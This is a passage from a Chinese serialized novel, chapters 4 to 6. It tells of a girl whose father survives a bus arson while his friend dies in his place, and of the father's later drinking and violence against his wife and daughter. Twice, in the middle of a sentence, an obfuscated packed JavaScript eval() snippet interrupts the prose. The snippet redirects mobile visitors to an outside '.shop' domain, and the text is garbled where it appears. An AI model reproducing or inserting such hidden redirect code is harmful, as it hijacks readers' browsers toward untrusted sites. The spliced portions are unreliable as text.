唐家明毫不犹豫地回答，“想过，我曾不止一次想过，我的父亲要是死了就好。没有他，我和我的母亲会过得更幸福。” 4. 第 4 章 “你父亲做什么了？他是不是打人？”徐佳佳严肃地问。 “赌博，打人，对父母不满，对儿女不满，对邻居不满，对工作不满，对整个社会不满，全世界的人都对不住他。有钱了就出去赌博，没钱了就在家打老婆打儿子。你知道他为什么打老婆打儿子吗？”唐家明笑了，“因为体弱的老婆，年幼的儿子，不是他的对手。年轻力壮的高利贷上门要债，他躲在床底下，让弱小的母亲和我出去应付。高利贷的棍子还没打到他身上，他就跪在地上哭得惊天动地。逼债刚走，他立刻又神气了，责问我和母亲为什么挡不住逼债的。”唐家明用力伸开手掌，然后握住拳头，“看到了吗？” 徐佳佳看了半天，没看明白。 “指关节，比一般人要粗壮。练功练的，打木桩劈砖头插米缸插绿豆，地摊文学介绍说，按这个方法，可以练成铁砂掌。” “铁砂掌？！” “都说了是地摊文学的介绍，全是夸大其词，没一句真话，不过，好处就是拳头确实练硬了。十四岁，父亲冲上来打我，我抬起胳膊一挡，他倒在地上半天爬不起来。我说出了憋在心里很久的话，你去死，死也别让我看见。” “然后呢？” “然后我跟母亲离开了那个家，几年后，他真的去死了，自杀。” 徐佳佳松了一口气，但是她马上意识到，面对死亡轻松快乐的情绪是不对的。“人死为大，过去的事不要想了，你跟阿姨现在过得好就行了。”徐佳佳说着言不由衷的话。 唐家明笑了，“徐佳佳，我对你太失望了，你和其他人没什么不同，同样的虚伪。” 唐家明说了实话，徐佳佳学会了文明人的虚伪。但是，徐佳佳感到了恐惧，什么样的人在谈及亲生父亲的死亡时，脸上能流露出发自内心的解脱。 “父亲死的那天，我去喝酒了。”唐家明说。 徐佳佳怀疑地看着他，意识到另一个问题，“那一年你多大？” “十五岁。” “十五岁就能喝酒？” “是啊，那是我第一次喝酒，不会喝，直接把一整瓶二锅头倒进了嘴里。” “感觉怎么样？” “很糟糕。身体发软，没有一丝力气，整个人象是在天上飘，大脑却是清醒得吓人，很多早就忘得一干二净的童年往事，莫名其妙地跑出来。例如，我的赌鬼父亲，也有过赢钱的时候，帮我买过冰淇淋，还带我下过馆子，豪气地说想吃什么点什么，浪费了也不打紧，对了，他还帮我买过一双球鞋，白色亮边，他就我跑得象闪电一样，穿上这双鞋就更象了。” 徐佳佳本能地低头，看到唐家明正好穿着一双白色亮边的球鞋。 唐家明走了，打工的时间到了。他已经大学毕业，放弃了保研的机会。理由是不能让母亲太辛苦。工作也找好了，本地的一家国企，从最底层的销售开始。半个月后报到。推迟一个星期的原因也很简单，打工的那家超市，需要一个星期才能找到替代的人。 “做人，尤其是男人，做事要有交代，要有责任感。”唐家明说。 徐佳佳叹了一口气，唐家明居然是个好人，即便他曾经，现在，也许将来的很长一段时间里，诅咒他的亲生父亲，想过杀死他的亲生父亲。 徐佳佳也曾经是个好人，不不不，她那时候年龄太小，准确的说，她是个好孩子。她成绩优秀，常年保持在班级的前三名。她对人有礼貌，看到长辈笑脸问好打招呼。遵守纪律，从不迟到早退，规规矩矩排队不插队也不捣乱。对了，她还总是帮助同学，帮助杨敏补习功课。 作为一个好人，一个好孩子，失去爱她的父亲，是怎样的一种感受呢？ 悲伤吗？是的，但是，并不全部，比悲伤更多的，是恐慌，是绝望，是陷入绝望之后无法行动，无法思想行的尸走肉。 我们并不是想比较悲伤和绝望，哪一个对人类的打击更严重一些。但是，现在，徐佳佳能冷酷地区别这其中的差别了。 作为好孩子的徐佳佳，听到父亲死亡的消息，她觉得自己不再是完整的自己，自己生命的一部分，也在随着父亲的死去而死去。徐佳佳的母亲更加直接，直接哭出来，“这让我们孤儿寡母以后怎么活啊！” 徐佳佳的脑子很乱，她想了很多，想着家里没有看电视的父亲，会很冷清；没有喝着小酒的父亲，不再是家的模样；不再有男人骄傲地把她扛在肩上，不会有人象父亲那样发自内心地，没有任何私心地爱着她......她低头，仿佛看到自己的心脏的地方，不复存在，成了一个黑色的，看不到无际，不知深浅的洞。她的快乐，遗失在那个黑洞里。 唐家明是截然不同的。父亲的死，他伤心，回忆起父子间所有温馨的好，但是，悲伤，仅此而已，他没有绝望，相反他把未来规划得非常好，什么该做什么不该做，怎么做，按步就班，不急不躁。他的生活充满了希望。 希望！什么是希望？绝望的反面？ 这就是世界的残忍之道吧，你唯一的希望，是他人的绝望。 徐佳佳又回到了灾难发生的那段时期。她惶恐不安地紧紧拽住母亲，跟着一群人去指认现场。这群人里，她唯一认识的是李兰。李兰不停地安慰她，“佳佳，别怕，有阿姨呢，阿姨在这里。” 每一次回忆现场，徐佳佳都会想要呕吐。公车被烧得只剩下漆黑的框架，两团焦黑的躯干纠缠在一起，因为爆炸而四散开来的焦黑，曾经也是血肉之躯。恶梦，一辈子的恶梦，每当徐佳佳情绪低落的时候，恶梦就会随之而来。所以她更加不明白，翻开报纸，点击网络，漂亮姑娘失恋精神失常，在街头裸奔的清晰特写；孩子被无良老师□□，母亲脱下孩子裤子，摆好姿势让记者拍下伤痕。车祸的肢体不全，意外的血肉模糊，都成了真相必不可少的组成。冷静地旁观者指着鲜血淋淋的现场，庄严地说：“看吧，这就是真相，残酷的真相！”亲人们原本需要接受的真相变成了两个：一个是亲人去世了；另一个是亲人死前极其痛苦，死不瞑目。 “你放心，你父亲是个英雄，我们会做ＤＮＡ测试，把你父亲的遗体和凶手分开。” 安慰的话语永远苍白无力。 袁小宜把徐佳佳调了个方向搂在怀里。李兰抚摸着她的脑袋，“好孩子，别看。” 徐佳佳看着远处，围观的人很多，有人睁大眼睛，有人伸着脑袋，有人踮着脚尖。徐佳佳觉得自己眼花了，“爸爸！”她脱口而出。 童言童语，袁小宜放声大哭，李兰也忍不住抹起了眼泪。 徐佳佳大声喊起来，“我看到了爸爸！” “好孩子，你爸爸已经死了。”李兰泣不成声。 “不是，我真的看见爸爸了！”徐佳佳手指着远方。 徐盛从远处跑过来，上气不接下气。 袁小宜冲过去，抱住徐盛又是哭又是笑，哭声是宣泄也是放松，笑声是发自内心的快乐。“你没死，你去哪里了，你没死，没死就好了，太好了。” 唯一冷静的是李兰，问出了所有人想要问的问题。“徐大哥，你没死，谁死了？” 所有人都想知道答案，除了提出问题的那个人，李兰。李兰宁愿自己永远也不知道答案。 徐佳佳憎恨希望，她的希望，母亲的希望，全家的希望，是李兰的绝望，是杨敏的绝望。因为死的那个人，是杨曙忠，李兰的丈夫，杨敏的父亲，徐佳佳全家最好的朋友。 不要想当然地以为，所有的英雄壮举都有所谓不平凡的开始，很多细节都是编造的，所以，此类事物有了一个好听的名字，叫艺术加工。 杨曙忠的英雄壮举，源于一个平常的早晨，袁小宜在厨房忙碌，准备早餐，两个孩子的午餐。徐佳佳在床上滚来滚去数着时间。 “妈妈，再让我睡十分钟，十分钟之后保证起床。” “老徐，佳佳的球鞋买了没有？” “唉呀，忘了。佳佳将就一天吧，今天下班再去买。” “不行，今天有体育课，一定要穿球鞋。” “不是还有旧的吗？” “旧的脚趾都破了一个洞，现在谁还穿有洞的鞋子啊，同学会笑话的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729728|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “好了好了，现在就去买。佳佳，别赖床了，赶紧起床。” “来得及吗？” “来不及也没关系。”徐盛打开大门，冲着对面喊了一嗓子，“老杨，我要帮佳佳买球鞋，迟到的话，你帮着顶下班。” “没问题。”杨曙忠爽快地答应了。 让我们假设一下，假如那一天徐佳佳没有固执地要求那双球鞋；假如徐盛没有做一个好父亲，满足女儿的要求；假如杨曙忠没有答应好朋友的请求，尽一尽举手之劳。引申出来的，是一个冷酷的问题：死的人会是谁？ 孩子哭着闹着要吃冰淇淋，父亲不情愿地穿过马路，被飞驰而来的汽车撞击而亡。有人说，孩子不懂事，如果不是孩子哭着闹着要吃冰淇淋，父亲不会死，他本不愿意买冰淇淋，他只是不堪孩子的哭闹。于是，更有人说，孩子是害死父亲的凶手。 母亲推着婴儿车，没有及时避让车辆。司机冲下车来责备母亲，母亲和司机发生争论，司机抢过孩子活活摔死。有人说，母亲应该及时避让车辆，母亲不应和司机争论，母亲也是杀害孩子的凶手之一。 哭闹的熊孩子是否需要对父亲的死承担责任？激动的母亲是否需要因为摔死的婴儿承受责备？徐盛到底是不是害死杨曙忠的凶手之一？谴责别人容易之极，动动嘴皮子就是答案，但是，解决这个问题，解决这个在别人看来只需要动动嘴皮子然后就抛在了脑后的问题，徐佳佳，徐盛，还有袁小宜，用尽漫长的一生，仍然找不到出路。 “徐佳佳，我很后悔，非常的后悔。”程雨涵的认真持续了不到三天，又开始烦躁不安，扔下课本，在房间里走来走去。 “后悔？”徐佳佳笑了。迅速回顾了一遍结识程雨涵的过程，马上得出了结论，完全被宠坏的，我行我素的富家小姑娘。这样的人也会后悔，实在是太可笑了。 “你笑什么！”很明显，程雨涵觉得受到了侮辱，“我没说谎，我说的是真话，我是真的后悔了，后悔为什么不好好学习，为什么不好好练琴。后悔上网，后悔打游戏。” “后悔完之后呢？如果现在让你选，你是学习还是上网玩游戏？” 程雨涵的优点非常突出。她成长的环境，让她不屑于说谎，勇于面对真实的自我。“当然是上网打游戏，学习最无聊了。” “那你还后悔什么？” “偶尔良心发现一下不行啊，我也是有良心的人。” “程雨涵，你有没有想过以后怎么办？你总不能一辈子不工作上网打游戏。” “徐佳佳，你知道你最讨厌的是什么吗？你明明跟我同岁，明明只有十八岁，为什么那么老气横秋，总是想以后，为什么不多想想现在。现在！”程雨涵握紧了拳头表示强调，“现在，才是最重要的！没有现在，你的人生哪来的快乐？” “没有将来，你的人生将会失去光明。” “现实的快乐和可能的光明，傻子都知道，现实的快乐更重要。” “程雨涵，你在强词夺理。” “你输了！”程雨涵很高兴，“你说不赢我就说我强词夺理，徐佳佳，你跟那些虚伪的大人们一模一样，徐佳佳，你输了！” “好吧程雨涵，我承认我说不过你，你赢了，赢了你就不后悔了吗？赢了你就不希望时光倒流吗？” 接下来的几天，程雨涵一直无精打采，从前无所顾忌的脸上，多出了几分忧伤。徐佳佳陷入了矛盾，一会儿觉得让一个无忧无虑的小姑娘陷入忧伤，思考人生是件残忍的事，一会儿又对自己说，你是为了她好，为了她的人生过得更有意义。 “程雨涵，以后你想成为什么样的人？歌手？” “不不不，我不想当歌手，不不不，歌手这个名字太难听了，我想做音乐人，一个真正的音乐人。” 徐佳佳笑了，程雨涵的虚荣，可笑之极。明星赚取了金钱，就对观众说，不，我不是明星，我是演员。歌手获得了听众，就对粉丝说，不，我从来没想过当歌手，我只想做音乐。写手编造了故事，就对读者说，不，我真正想写的不是故事，是我的思想。 5. 第 5 章 “成为音乐人，你是不是会觉得很快乐？”徐佳佳没有责备程雨涵的立场，因为她需要这份工作。比虚荣更可怕，是虚伪。 “那当然。” “好吧，变得快乐起来，为了你即将到来的快乐。你对自己说，远离游戏，因为它会让离快乐越来越远，重拾书本，因为它会让你离快乐越来越近。” “徐佳佳，你就是这样做的吗？” “什么？” “学习啊，枯燥乏味的学习，所以你设定了一个快乐的目标，才能一直坚持下来。” 徐佳佳想了很久，决定说出真实的答案。“不是，学习是我唯一的快乐！” 程雨涵夸张地感叹，“学习是你唯一的快乐？徐佳佳，你的生活是多么地贫乏啊！” 徐佳佳知道如何反驳。“不不不，程雨涵，你永远都不会知道，我的生活是多么地丰富，充满了诅咒，羡慕，嫉妒，恶毒的算计，患得患失还有意料之外的恐惧。” 但是，徐佳佳闭上了嘴，反驳的话语深深藏在了心里。 程雨涵有程雨涵的痛苦，徐佳佳有徐佳佳的痛苦，我们不能说，徐佳佳没钱，有一个时常喝醉酒殴打她的父亲，有一个更悲惨的人生，那么，幸福的程雨涵，她的痛苦就不是痛苦，就成了笑话。人们总是自作聪明，对一个因为吃不到糖果而哭泣的孩子说，看吧，遥远的村庄里，还有无数饿着肚子的孩子。不能因为吃不到糖果的孩子哭泣了，就把贫困的饿着肚子的孩子拿来作对比，哭泣的孩子成了冷酷无情，道德品质的败坏的象征，就必须被冷酷残忍地对待。 因为牺牲的人不是本应该在那辆公交车上徐盛，而是主动去代班的杨曙忠，一粒黑暗的种子在徐家人心里生根，发芽，长成苍天大树：死的人不应该是杨曙忠，应该是徐盛。徐家的幸福，快乐，一家团聚，都是偷窃而来。徐家人是小偷，是不配享有幸福和快乐的小偷。 徐家人被幸福和快乐抛弃了，还有无数双眼睛牢牢监督着他们。他们露出笑脸，仿佛听到人们在议论，看啊，邻居的孤儿寡母脸上的泪水还没干，那家人居然还能笑得出来，他们怎么好意思笑啊；袁小宜给徐佳佳买了件衣服，仿佛听到人们在指责，看啊，好朋友的女儿失去了父亲，她居然还有心情给自己的女儿买新衣服。他们过年的时候甚至不敢放鞭炮，唯恐邻居们过来关心地问，你们是一家人过春节呢，还是和杨曙忠的孤儿寡母一起过呢？ 第一个无法忍受的，是徐盛。新闻媒体把杨曙忠代班的细节公诸于天下，公安机关一遍又一遍的询问代班的细节，公交公司的领导和同事总是用好奇的目光追随着他。 有人在感叹，“徐盛，你真是个幸运的家伙！” 有人在好奇，“徐盛，你是不是故意的？” 徐盛的生活方式完全改变了，他不敢在大白天开车，申请了其他人避之唯恐不及的晚班。只有在黑暗的夜里开车，他才能获得平静。漫长的白天，他藏在家里，躲避世人的眼光。他无法睡眠，只得用一杯又一杯的酒，把自己灌醉，人事不知。 徐佳佳只是个孩子，她理解不了徐盛的痛苦。并且，她很忙，她被赋予了一份责任：抚平杨敏的痛苦。 袁小宜对徐佳佳说：“佳佳，答应我，和杨敏做好朋友，一辈子的好朋友，好好照顾她。” 年幼的徐佳佳根本不知道，袁小宜不是在要求女儿做一件事，而是要求女儿许下一个诺言，一生一世的诺言。她轻松地说：“妈妈，我跟杨敏是好朋友啊，我们从小就是好朋友，长大了也会是好朋友。” “小敏，你可以和我一起进重点班。”徐佳佳在帮杨敏补课的时候提议。 “可是，我的成绩不够好。” “昨天校长来你家时不是说了吗，有什么困难尽管提，学校一定会解决。” 杨敏转向李兰，“妈妈，我跟校长说进重点班好不好？” 李兰在看着钢琴发呆，偶尔弹奏一两个不成曲调的音符。 “干妈一直是这样吗？” “是啊，爸爸出事之后，妈妈一直就这样。佳佳，我好害怕，害怕妈妈去找爸爸，不要我了。” 一个月之后，杨敏进了重点班，与此同时，李兰进了疗养院。 小镇上流传着一则谣言，勇斗纵火犯英勇牺牲的杨曙光的妻子李兰，因为承受不住丈夫去世的刺激，得了神经病。谣言之所以是谣言，因为它们即便是无限接近真相，也远比真相更恶毒。神经病，精神病，还有医院的正式诊断：抑郁症，谣言从来不会区别之其中的细微差别。他们只负责传播，不负责人们的大脑，自动自发地把白皙纤弱文静的李兰，和无法控制自己的唐氏综合症患者，提刀乱砍披头散发的精神分裂症患者划上等号。 杨敏尝试着跟小镇的人们解释，母亲只是心情不好，在疗养院疗养，她去的那个地方，大门口的招牌，是疗养院，而不是精神病院。 耐心倾听的人们，脸上带着洞察一切的笑容。“知道了，是疗养院不是精神病院，唉——真是可怜的孩子，天杀的纵火犯，想死就自己去死啊，为什么要找无辜的人垫背！”人们陪着杨敏哭一场骂一场，歇了骂声，收了眼泪，释放了同情，圆满了道德，各回各家，各自收拾各家的柴米油盐，嬉笑怒骂。 始终陪伴在杨敏身边的，是徐家人。徐盛偶尔也会清醒，会摸着杨敏的脑袋，“小敏，别怕，以后你就是我的亲闺女，不，我要对你比亲闺女还好。”袁小宜更实际一些，“小敏，好好想想，想吃什么，干妈给你做。只要是你想吃的，干妈钻山打洞也给你弄来。”徐佳佳把杨敏的枕头抱到了自己的床上，“小敏，以后你就跟我睡吧。你放心，你睡不着，我陪你一起睡不着，陪到你睡着为止。” “徐佳佳，你知道我的痛苦吗？”程雨涵一脸烦恼。 徐佳佳笑了，亿万富翁对着一贫如洗的乞丐说，其实我不幸福。高高在上的官员们对着讨要薪资的民工们说，我们也有难处。 “说说吧，你的痛苦。”徐佳佳很好奇。 “看吧，就是这种眼神，每一个人都是这种眼神。徐佳佳，你跟那些人一样，认为父母花费了大把的钞票，让我生活优越，课外有钢琴老师，学习有补习老师，我就必须感恩戴德，就应该没有烦恼，没有痛苦，就应该考上大学，成为成功人士，否则，我的人生就是失败，就是一无是处。” “说得太严重，你并不是一无是处。”徐佳佳干巴巴地说。 “是啊，我也有很多优点的。我从不乱扔垃圾，遵守交通规则，我对小动物很有爱心，常常给流浪猫猫狗狗喂食，我还去养老院做过义工，帮一个老奶奶洗过头，对了，汶川大地震，我把零用钱全部都捐出来了，要不是年龄不够，我还打算去献血呢。我对我爸妈也很好，我帮我爸爸按过肩，天天在家洗碗帮我妈做家务活。徐佳佳，你觉得我是不是一个好人。” “是，程雨涵，你是个好人。”基于程雨涵列举出来的种种事例，徐佳佳无法违心说谎。 “但是，我妈妈昨天骂我，说我一无是处，说养只狗都比养我强，养只狗还知道摇尾巴，养了我只会跟她顶嘴，让她生气。” “你跟你妈顶嘴了？” “没顶嘴。”程雨涵有些心虚，“就是踢了一脚门。” “为什么踢门？” “妈妈让我七点起床，可是现在是暑假，不能因为我高考失利了就连暑假也给我取消了吧。我的妈妈，她居然把我从床上拖起来，我想多睡会儿，又倒到床上，顺便用脚把门关上，踢重了。”程雨涵提高声音，“我不是故意的，就是力用得大了点，不小心而已。” “你有没有告诉你妈妈，你不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729729|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 故意的，只是不小心。” “我打算告诉她的，可是我还没来得及开口，她就冲上来就骂我，骂我懒，骂我不知进取，骂我就是因为懒，所以考不上大学，所以一无是处。她根本就是无理取闹，我宁愿拿脑袋去撞墙，也不愿跟她解释！她生气，我还有脾气呢！我决定了，一天，不，三天，我要三天不跟不我妈妈说话！”程雨涵高高地昂起头，象只骄傲的小母鸡。 幸福却自认痛苦的程雨涵，总能让徐佳佳陷入回忆，真正痛苦的回忆。 “徐佳佳，别怪你爸，他只是心情不好。你干爹的死，现在，又是你干妈的病，他担心杨敏，又多喝了点，心情不好，你多体谅体谅。” 酒精清洗伤口，突如其来尖锐的疼痛牵扯到心灵深处，徐佳佳慢慢地吸气吐气再吸气再吐气，一点一滴释放出痛苦。她小心翼翼，把声音埋在心里，害怕惊醒了沉睡的父亲。 事情是怎么发生的呢？也许，是个意外吧。至少，母亲是这样对外人说的。 李兰进了疗养院，杨敏正式住进了徐家，和徐佳佳共用一个房间，一张床。对面的房子锁了起来。一开始，杨敏会习惯性在对面停留片刻，会本能地拿出钥匙打开对面的门。徐佳佳总是呆在杨敏身边，绞尽脑汁寻找话题，或者是学校里发生的趣事，或是开电视，或是乞求杨敏弹一弹钢琴......但是，杨敏没有再碰过钢琴，即便是袁小宜保留了每三个月请人调一次琴的习惯。 半夜，徐佳佳从梦中惊醒，看到躺在床上，睁大着眼睛看着天花板发呆的杨敏。 “小敏，你怎么了？” “佳佳，我睡不着。” “怎么了？” “佳佳，妈妈是不是象爸爸一样，永远也不会回来了。” “医生不是说了吧，疗养，疗养一段时间，等你妈妈心情好些了就可以回家了。” “佳佳，我想我爸爸，如果我爸爸还在，妈妈不会进疗养院，不会不爱我。” “胡说，干妈爱你，你看——”徐佳佳从床上跳下来，打开衣柜，“小敏，你看，这里所有的衣服，都是你妈妈给你做的。” “那是爸爸在的时候做的，爸爸去世之后，妈妈再也没给我做过新衣服。佳佳，我想爸爸，我真的好想爸爸。” 杨敏哭了，徐佳佳也哭了。两个女孩趴在窗口，看着窗外的月光，哭成一团。杨敏为父母而哭，徐佳佳不知为什么而哭。 “小敏，走，我带你去看星星，新闻上说，今天有流星雨。”徐佳佳哭不出来的时候，想出了一个主意。 “好啊，去哪里？” “顶楼，顶楼的水塔上，顺着水管爬上去。很好爬的，我爬过很多次了。” 徐佳佳和杨敏在顶楼的水塔上看月亮看星星看到天亮。她们所不知道的是，徐盛和袁小宜为了找她们两个，出动了邻居，单位的同事，还有警察，还有半个城市。 寻找杨敏的时候，徐盛，差点疯了。 两个女孩回到家里，袁小宜第一时间冲进去，抱住杨敏，“回来了，你总算回来了，你要是出了什么事，你怎么跟你爸爸交待，我怎么跟你妈妈交待。” 徐佳佳一脸茫然，“爸爸，出什么事了？” “出什么事了！你还有脸问！徐佳佳，跟你说过多少遍了，要你照顾好杨敏，照顾好杨敏，你就是这么照顾的！我养你有什么用，我养你有什么用！”急怒攻心的徐盛完全失去了控制，冲上前来，对着自己的女儿就是一耳光。 徐佳佳的身体飞到空中，再重重地砸在地上。她听不见，脑袋嗡嗡作响，她看不清，眼前除了红色还是红色。桌子在流血，椅子在流血，墙壁在流血，天花板也在流血，不不不，她错了，大错特错，所有的一切都安然无恙，流血的是她自己。她第一次知道，人的身体里可以流出这么多血。 6. 第 6 章 “我养你有什么用！我养你还不如养一条狗！”徐盛把凳子高高举在空中，咆哮着朝着女儿冲过去。 一堆人上前拼命夺下了徐盛手里的凳子，反倒是忽略了坐了地上的徐佳佳。旁观他人的喧嚣，其实是最适合排除感情因素，冷静思考的。徐佳佳相信，徐盛的本意并不是要杀死徐佳佳，他只是想在众人面前证明，他是一个高尚无私的人，他对英雄女儿的重视程度，远远超过了自己的亲生女儿。 徐佳佳的额头上留下了一道疤痕，有些破相的意思。成年之后，不断有人建议做个修复的小手术。她拒绝了。 人的生命到底是为了自己的内心而活，还是为了别人的眼光别人的期许而活？这个问题太过沉重，徐佳佳没有勇气面对。但是，徐盛的一记耳光，徐佳佳的大脑里，出现了另外一个全新的世界。不不不，这个说法不对，应该说，世界还是世界那个世界，但是，徐佳佳的世界发生了变化：乞讨的乞丐不再是可怜人，有可能是懒惰者或是小偷；摔倒的老人不再是不小心，而是不怀好意思的骗子。有人说，这叫恶毒，也有人说，这叫看问题的角度不一样。 是的，角度，世上最可怕的存在之一。一千个莎士比亚有一千个哈姆雷特，一件再小的事也有一千个不同的观点，善良的，恶毒的，宽容的，偏激的。以徐佳佳为例，挨打之前，她看到的是杨敏的优点和悲惨，世人的慈悲和善良；挨打之后，同样的杨敏同样的事情，她更多的看到杨敏的缺点和特权，自身的悲惨和不公平。 例如：学校的老师对徐佳佳都很友善，但是，他们最常问的问题是：“徐佳佳，杨敏最近还好吧。”镇上的人对徐佳佳很热情，总是笑脸相迎，但是，他们也只会说一句话：“徐佳佳，你跟杨敏是好朋友啊。唉，杨敏真是可怜。”袁小宜做了几道好菜正要端上桌，听说杨敏不回家吃饭，立刻把饭菜放进了冰箱。“等杨敏回来一起吃吧。”袁小宜解释说。 每年春天，徐盛都提醒袁小宜，不要忘记杨敏的生日，不要忘记给杨敏准备生日礼物。轮到徐佳佳时，徐盛会说，“小孩子家家，过什么生日，也不怕折了福。” 思想不受控制地进驻了徐佳佳的大脑，她的父母，不再是她的父母，正在成为杨敏的父母。 孩子们会用什么样的方式挽回父母的爱？乞求吗？不，那是不属于孩童的心计。付出吗？不，孩子们从小就被教育着，父母之爱，是天经地义的，是只有付出不要求回报的。 徐佳佳感到了前所未有的恐慌，她惊慌失措，她无所适从，她采取最糟糕的方式：逆反。 孩子们心里都有一种固执：丑陋，不完美，不光彩等等都不过是外人的眼光，父母眼里，孩子总是最特殊最重要的那一个。好吧，徐佳佳也能接受一些现实了，杨敏是特殊的那一个，假如，假如没有杨敏，在父亲和母亲看不到杨敏的角落里，她是父母唯一的女儿，唯一的爱。 徐佳佳想了很多办法，做了很多可笑的事，她说甜言蜜语哄父母开心，不再帮杨敏补习功课，放学了找各种理由呆在学校，在饭桌上抢占更加靠近父母的位置。 徐盛的筷子，准确地绕过徐佳佳，把两只鸡腿都夹进了杨敏的碗里。 鸡有两只腿，徐佳佳希望的只是其中一只。她觉得自己的要求完全合理。 “爸爸！”徐佳佳喊了一声。 徐盛看也不看女儿一眼，“阿敏啊，最近功课很累吧。” “是啊，数学越来越难了。” “佳佳，吃完饭后你跟阿敏讲讲。” “我要做作业，没时间。”徐佳佳还在惦记着那只鸡腿，生硬地拒绝了父亲的提议。 “没时间，没时间你怎么不早点回家。”毫无预兆，徐盛把一杯酒泼在了徐佳佳的脸上。酒水渗进了眼睛，火辣辣的痛。 “我要做作业，没时间。”徐佳佳固执地重复着。她不知道为什么要固执，她只是单纯地觉得，她的固执很重要。 一声巨响，徐佳佳连人带椅子被踢倒在地。她抬起头，看着徐盛，看着她的父亲。她很害怕，害怕父亲会打死她。但是，心里有一个声音一次又一次提醒她：别怕，他是你的父亲。坚持，再坚持一会儿，一分钟，不，三十秒，十秒，他就会意识到，他正在殴打的，是他疼爱过的亲生女儿。源自本能的父女之爱，终究会战胜外来者。 这是徐佳佳生命中最漫长的一分钟，也许是十分钟，她的记忆开始模糊，记不清到底是只有一分钟，还是无数个十分钟。但是她记得很清楚，耳光，拳头，还有脚踢，象雨点一样击打在她身上。她被迫跪在地上抬不起头来，她憎恨跪着，尤其还是当着杨敏的面。她努力想要站起来，一次又一次，她获得的是更多的殴打。 “我要死了，我要被我的父亲打死了。”她对自己说。 “我该怎么办？求饶吗？承认错误吗？” “不不不，我没做错任何事！” “不不不，我不能输给杨敏。” “为什么！你是我的父亲，我的，我的，为什么？” 一种叫做恨的情绪在心灵深处疯长。 “别打了，别打了，你会打死她的。求求你，别打了。”一个身影扑到她身上。大声地哭喊着。 母亲，是母亲不顾一切地来保护她了。 徐佳佳哭了，她的人生还是有希望的。但是，很快，徐佳佳失望了，并且一步步发展到绝望。 徐盛的暴力仿佛开闸的洪水，一发不可收拾。心理压力使得他睡眠严重不足，从醉酒到酗酒让他的控制力形同虚设，他会因为一些很细微的事件呵斥妻子女儿。一次是因为袁小宜把杨敏最爱吃的鸡蛋炖老了。还有一次是因为徐佳佳看电视的声音太大，影响了他的睡眠，还有一次是他觉得徐佳佳的头发太长了......伴随着呵斥的，是没有任何预兆的殴打，因为甩耳光惹来了邻居们的闲话，徐盛很快进化到用拳头打用脚踢，踢打那些衣服能遮住外人看不到的地方。 反抗吧！为什么不反抗呢？所有暴力行为的旁观者都会慷慨激昂，都会异口同声。 真的那么容易吗？ 徐佳佳想过办法试图保护自己。首先，她哭泣，对着母亲哭泣，趁着徐盛不在家的时候，冲着母亲嘶吼，“为什么，为什么你不保护我，我是你亲生女儿！” 袁小宜唯一能做的是道歉，不停地道歉。“佳佳，你父亲他，有病，以后你尽量离你父亲远点，实在躲不开，你就躲在杨敏的后面。无论如何，他都不会打杨敏的。”这一次，在徐盛的认识上，袁小宜进步了，从心情不好到有病，但是，有什么用呢？对于解决问题没有任何帮助。 徐佳佳斩钉截铁地说：“不，我不会再忍耐下去，他再打我，我就去公安局告他，是的，去公安局告他，告得他去坐牢！” 徐佳佳在公安局的门口徘徊了整整一天，还是没能进去。那一天，她想得很多，多得她都记不起来了，总结起来却是很简单，徐盛是父亲，生她养她，给过她无数快乐和幸福的父亲。 一位警察在她身边停下来，看了她几眼，认出了她。“你姓徐吧，对，徐盛，开公交车的司机徐盛，徐盛的女儿。” 徐佳佳心里升起一线希望。她已经不想控告父亲了，她只想一个强有力的人，例如眼前的警察，跟徐盛好好谈谈，让他改正错误。“是啊，我是徐盛的女儿，我叫徐佳佳。” “你父亲还好吧？”警察热情地说，“听说这么多年来，他一直在照顾杨曙忠的妻子和女儿，唉——不容易啊。一般人哪里做得到。对了，你怎么在这里，有事吗？” “没事没事，我在这里等人。”徐佳佳飞一样的逃跑了。 弱小的徐佳佳和强壮的徐盛，徐佳佳反抗的力量几乎可以忽略不计。 于是，另一件更让人沮丧的事情浮现出来，徐盛已经成为了人们眼中的好人。善良的人们，从来不相信，好人会做坏事。当然，他们也固执地认为，坏人肯定不会做好事。不知不觉，人类的道德目标发生了偏差，人们不再执着于到底是做好事还是做坏事，而是努力做一个好人，一个人人心目中认可的好人。 徐佳佳慢慢适应了徐盛的暴力，她从震惊到反抗到无力反抗到习惯麻木，她学会了保护自己。她在网吧偷偷上网，到图书馆借阅图书，寻找挨打如何让疼痛减轻，寻找挨打如何减轻伤害，避开致命部位。她学会了掩饰，学会了说谎，学会了沉默，直到——她在母亲身上发现同样的伤口。 徐盛到底是从什么时候开始殴打虐待袁小宜的？一直是徐佳佳心里的未解之谜，只能从一些从前忽略的细节中探寻蛛丝马迹。也许，更久之前，远在杨曙忠还活着的时候。 徐佳佳怀疑杨曙忠是知情者之一。印象中有一次，她提前回家，看到徐盛抱头缩在墙角，李兰在客厅安慰神情奇特的母亲。徐佳佳记得那表情，痛苦而羞愧，仿佛一件极度不体面的事情。杨曙忠一巴掌把徐盛推倒在地，“混蛋！袁小宜是老婆，不是外面的阿猫阿狗，阿猫阿狗也不能象你这样！” 徐 